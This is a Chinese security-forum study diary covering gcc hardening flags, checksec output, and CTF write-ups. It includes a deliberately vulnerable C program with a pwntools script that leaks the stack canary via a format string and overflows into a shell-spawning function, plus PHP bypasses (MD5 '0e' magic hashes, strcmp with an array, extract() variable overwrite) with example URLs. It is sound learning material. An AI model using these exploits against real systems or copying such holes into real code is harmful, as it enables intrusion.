安全矩阵

 找回密码
 立即注册
搜索
12
返回列表 发新帖
楼主: DSH

丁仕晗学习日记

[复制链接]

7

主题

30

帖子

182

积分

注册会员

Rank: 2

积分
182
 楼主| 发表于 2020-4-1 20:33:22 | 显示全部楼层
本帖最后由 DSH 于 2020-4-12 17:14 编辑

gcc命令详解

gcc安全编译参数:
NX:-z execstack / -z noexecstack (关闭 / 开启)
        Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启)
        PIE:-no-pie / -pie (关闭 / 开启)
        RELRO:-z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启)
gcc常规编译参数:
-x language filename :设定文件所使用的语言, 使后缀名无效   例:-x c 1.jmp  /* 使用C语言组建1.jmp生成可执行文件,会将1.jmp读取成C文件*/
-o filename  filename 设定输出文件名    例: -o 1.exe 1.c  /*读取编译组建1.c,生成1.exe*/
-Wall :生成所有警告信息
-w :不生成警告信息
-g :在编译时产生调试信息    /*    -ggdb :此选项将尽可能的生成gdb的可以使用的调试信息。 */
-c :只激活预处理,编译,和汇编,将会生成obj文件 (.obj)。
-S :只激活预处理和编译,就是指把文件编译成为汇编代码(.asm)。
-E :只激活预处理,这个不生成文件。使用需要把它重定向到一个输出文件里面。
-m32 : 32位编译。
-m64 : 64位编译。








回复

使用道具 举报

7

主题

30

帖子

182

积分

注册会员

Rank: 2

积分
182
 楼主| 发表于 2020-4-12 16:46:02 | 显示全部楼层
本帖最后由 DSH 于 2020-4-12 16:57 编辑

    Arch:    amd64-64-little  --    RELRO会有Partial RELRO和FULL RELRO,如果开启FULLRELRO,意味着我们无法修改got表
    RELRO:   Full RELRO   -- 重定向   
    Stack:   No canary found   -- 栈检查
    NX:      NX enabled    -- 不可执行
    PIE:     PIE enabled   -- 地址随机化
    Canary :                   --栈溢出

回复

使用道具 举报

7

主题

30

帖子

182

积分

注册会员

Rank: 2

积分
182
 楼主| 发表于 2020-4-17 17:43:30 | 显示全部楼层
32位格式化字符串过NX+CANARY,关pie


64位太难了,一直不成功,32位简单,本来想写64位的。

C程序:

  1. #include <stdio.h>
  2. void exploit()
  3. {
  4.     system("/bin/sh");
  5. }
  6. void func()
  7. {
  8.         char str[0x20];
  9.         read(0,str,0x50);
  10.         printf(str);
  11.         read(0,str,0x50);
  12. }
  13. int main()
  14. {
  15.         func();
  16.         return 0;
  17. }
复制代码
思路:

1、第一个read给str一个格式化字符串,利用printf得到canary保护的随机值

2、构造payload,利用第二个read溢出到exploit。

实现过程

用gcc生成一个程序,名为32.exe

  1. gcc -m32 -no-pie -o 32.exe 1.c
复制代码
用gdb调试,计算偏移,写py代码

  1. from pwn import *
  2. #context(arch='amd64',os='linux')
  3. p = process('./32.exe')
  4. p.sendline("%15$8x")
  5. canary=p.recv()[:8]

  6. canary=canary.decode('hex')[::-1]

  7. offset = 32
  8. payload = 'a'*offset
  9. payload+= canary
  10. offset2 = 12
  11. payload+= 'a'*offset2
  12. payload+= p32(0x080484cb)

  13. p.sendline(payload)
  14. p.interactive()
复制代码
运行,成功



回复

使用道具 举报

7

主题

30

帖子

182

积分

注册会员

Rank: 2

积分
182
 楼主| 发表于 2020-4-27 12:51:12 | 显示全部楼层
jactf题目总结

逆向:

只有一道逆向题,这道逆向题,开始的时候把我弄迷糊了,因为我刚开始的时候用PEID去分析,发现有壳。我炸了,有壳,还签到题。

然后我就用Ollydbg去分析,越看越晕,它的flag,有问题,找不到。后来,我反应过来了,不可能有个那么复杂的壳啊。

之后用ExeinfoPe一分析发现,确实没壳。在打开看数据段,找到了flag。他是用gcc编写的,入口很奇怪,不熟,虽然我对其他入口也不熟。

   

还是很简单的

web:

web题有点多,讲一下代码审计吧,

第一题:http://tm.jasec.cn:9001/dm1/?a=QNKCDZO&b=240610708

原理是,MD5(QNKCDZO)和MD5(240610708)他们的开头都是0e...

php会把他们,当成数值比较,而不是字符比较,0*10^...都是0.就过了


第二题:[url=http://tm.jasec.cn:9001/dm2/?a[]=1]http://tm.jasec.cn:9001/dm2/?a[]=1[/url]

原理是让strcmp($_GET['a'], $flag)为null,也就是出错

传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,会出错,并 return 0



原理在于extract($_GET);会get输入造成变量覆盖

给他们相同的值就好了



其他的题,没啥好说的,就会14题,



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2020-5-27 05:28 , Processed in 0.010718 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表